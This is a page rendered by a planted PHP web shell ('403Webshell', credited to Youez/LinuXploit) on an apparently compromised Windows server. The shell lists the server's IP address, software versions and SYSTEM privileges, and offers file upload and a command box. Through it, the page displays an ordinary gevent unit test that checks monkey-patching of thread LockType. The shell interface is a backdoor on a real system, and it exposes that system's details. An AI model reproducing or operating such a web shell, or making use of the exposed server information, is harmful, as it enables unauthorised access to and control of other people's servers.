403Webshell
Server IP : 123.56.80.60  /  Your IP : 216.73.216.78
Web Server : Apache/2.4.54 (Win32) OpenSSL/1.1.1s PHP/7.4.33 mod_fcgid/2.3.10-dev
System : Windows NT iZhx3sob14hnz7Z 10.0 build 14393 (Windows Server 2016) i586
User : SYSTEM ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/python/Lib/site-packages/gevent/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/python/Lib/site-packages/gevent/tests/test__monkey_futures_thread.py
# -*- coding: utf-8 -*-
"""
Tests that on Python 2, if the futures backport of 'thread' is already
imported before we monkey-patch, it gets patched too.
"""

import unittest

try:
    import thread
    import _thread
    HAS_BOTH = True
except ImportError:
    HAS_BOTH = False

class TestMonkey(unittest.TestCase):

    @unittest.skipUnless(HAS_BOTH, "Python 2, needs future backport installed")
    def test_patches_both(self):
        thread_lt = thread.LockType
        _thread_lt = _thread.LockType
        self.assertIs(thread_lt, _thread_lt)

        from gevent.thread import LockType as gLockType

        self.assertIsNot(thread_lt, gLockType)

        import gevent.monkey
        gevent.monkey.patch_all()

        thread_lt2 = thread.LockType
        _thread_lt2 = _thread.LockType

        self.assertIs(thread_lt2, gLockType)
        self.assertIs(_thread_lt2, gLockType)

        self.assertIs(thread_lt2, _thread_lt2)
        self.assertIsNot(thread_lt2, thread_lt)

        # Retrieving the original on the old name still works
        orig_locktype = gevent.monkey.get_original('thread', 'LockType')
        self.assertIs(orig_locktype, thread_lt)

        # And the new name
        orig__locktype = gevent.monkey.get_original('_thread', 'LockType')
        self.assertIs(orig__locktype, thread_lt)

if __name__ == '__main__':
    unittest.main()

Youez - 2016 - github.com/yon3zu
LinuXploit